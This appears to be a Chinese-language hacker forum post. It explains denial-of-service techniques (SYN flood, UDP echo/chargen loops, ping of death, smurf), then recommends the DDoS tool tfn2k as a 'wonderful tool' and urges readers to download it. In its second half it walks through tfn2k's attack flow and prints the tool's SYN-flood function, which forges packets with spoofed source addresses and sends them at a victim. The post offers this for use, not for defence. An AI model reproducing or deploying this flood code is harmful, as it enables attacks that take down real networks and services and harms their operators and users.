要求的專業知識:
一: 精通OSI參考模型,精通網絡五層:物理層,數據鏈路層,網絡層,傳輸層,應用層。
精通每一層的協議,數據報格式。精通網絡拓撲結構,第一層,第二層,第三層的網
絡互聯,數據的轉發和路由等。
二: 精通C語言程序設計,UNIX/LINUX程序設計,網絡程序設計。熟悉UNIX/LINUX系
統操作,熟悉著名服務的基本配置,特性及使用的端口號。熟悉經典網絡命令的使用,
如.netstat,ping,traceroute,netcat,arp等。
三: 精通標準SQL語言,熟悉流行的數據庫使用,如:Oracle,Mysql等。掌握數據庫與
WEB語言的結合使用。
DoS的攻擊方式很多,主要使用的攻擊有4種,分別是TCP-SYN flood,UDP flood,ICMP,
flood,smurf?!?br />
TCP--- 當用戶進行一次標準的TCP連接時,會有一個3次握手過程。首先是請求服務方發送一個SYN消息,
服務方收到SYN后,會向請求方回送一個SYN-ACK表示確認,當請求方收到SYN-ACK后,再次向服務方發送一
個ACK消息,這樣,一次TCP連接建立成功。但是TCP-SYN flood在實現過程中只進行前2個步驟:當服務方
收到請求方的SYN-ACK確認消息后,請求方由于采用源地址欺騙等手段使得服務方收不到ACK回應,于是,
服務方會在一定時間處于等待接收請求方ACK消息的狀態。對于某臺服務器來說,可用的TCP連接是有限的
,如果惡意攻擊方快速連續地發送此類連接請求,該服務器可用的TCP連接隊列將很快被阻塞,系統可用資
源急劇減少,網絡可用帶寬迅速縮小,長此下去,網絡將無法向用戶提供正常的服務?!?br />
UDP---- 由于UDP(用戶數據包協議)在網絡中的應用比較廣泛,基于UDP攻擊種類也較多。如今在
Internet上提供WWW和Mail等服務設備通常是使用Unix的服務器,它們默認一些被惡意利用的UDP服務,如
echo和chargen服務,它會顯示接收到的每一個數據包,而原本作為測試功能的chargen服務會在收到每一
個數據包時隨機反饋一些字符,如果惡意攻擊者將這2個UDP服務互指,則網絡可用帶寬將很快耗盡?!?br />
ICMP----由于在早期的階段,路由器對包的最大尺寸都有限制,許多操作系統對TCP/IP棧的實現在ICMP包
上都是規定64KB,并且在對包的標題頭進行讀取之后,要根據該標題頭里包含的信息來為有效載荷生成緩
沖區,當產生畸形的,聲稱自己的尺寸超過ICMP上限的包也就是加載的尺寸超過64K上限時,就會出現內存
分配錯誤,導致TCP/IP堆棧崩潰,致使接受方當機。如果對方的操作系統已經可以防御堆棧崩潰,也占去
許多帶寬。
Smurf----一個簡單的smurf攻擊通過使用將回復地址設置成受害網絡的廣播地址的ICMP應答請求(ping)
數據包來淹沒受害主機的方式進行,最終導致該網絡的所有主機都對此ICMP應答請求作出答復,導致網絡
阻塞,比ping of death洪水的流量高出一或兩個數量級。更加復雜的Smurf將源地址改為第三方的受害
者,最終導致第三方雪崩。
Wonderful tool,such as tfn2k.有這么好的東西,而且它的代碼又是如此的簡單,我想我沒有
必要再寫一個示范性的代碼了,既省了力氣,又不會丟人現眼。哈哈。
先下載其源代碼包 tfn2k.tgz,網上處可以找到,其使用方法,也不多說。
簡單說一下吧。use tcp-syn as example:
td進程的main調用tribe_cmd,tribe_cmd根據參數id來調用相應例程,當id是ID_SENDSYN,則調用
commence_syn,commence_syn生成一個子進程(fork),這個子進程里有一個while(1),里面調用syn
函數,也就是發送攻擊的主要函數了,下面給出了。
也許有人不能明白,參數id從何而來,那是client端tfn發給server端td的,其實也就是來自用戶的輸入。
即:tfn -h host -c id -i target 命令中的id.
24 syn (unsigned long victim, unsigned short port)
25 {
26 struct sa sin;
27 struct ip *ih = (struct ip *) synb;
28 struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
29 ih->ver = 4;
30 ih->ihl = 5;
31 ih->tos = 0x00;
32 ih->tl = sizeof (ih) + sizeof (th);
33 ih->id = htons (getrandom (1024, 65535));
34 ih->off = 0;
35 ih->ttl = getrandom (200, 255);
36 ih->pro = TCP;
37 ih->sum = 0;
38 ih->src = k00lip ();
39 ih->dst = victim;
40 th->src = htons (getrandom (0, 65535));
41 if (port > 0)
42 th->dst = htons (port);
43 else
44 th->dst = htons (getrandom (0, 65535));
45 th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
46 th->ack = htons (getrandom (0, 65535));
47 th->flg = SYN | URG;
48 th->win = htons (getrandom (0, 65535));
49 th->sum = 0;
50 th->urp = htons (getrandom (0, 65535));
51 th->sum = ip_sum ((u16 *) synb, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
52 ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
53 sin.fam = AF_INET;
54 sin.dp = th->dst;
55 sin.add = ih->dst;
56 sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sin, sizeof (sin));
57 }
其文純屬盜版,真沒勁,但又沒有比這更好的主意了,shit!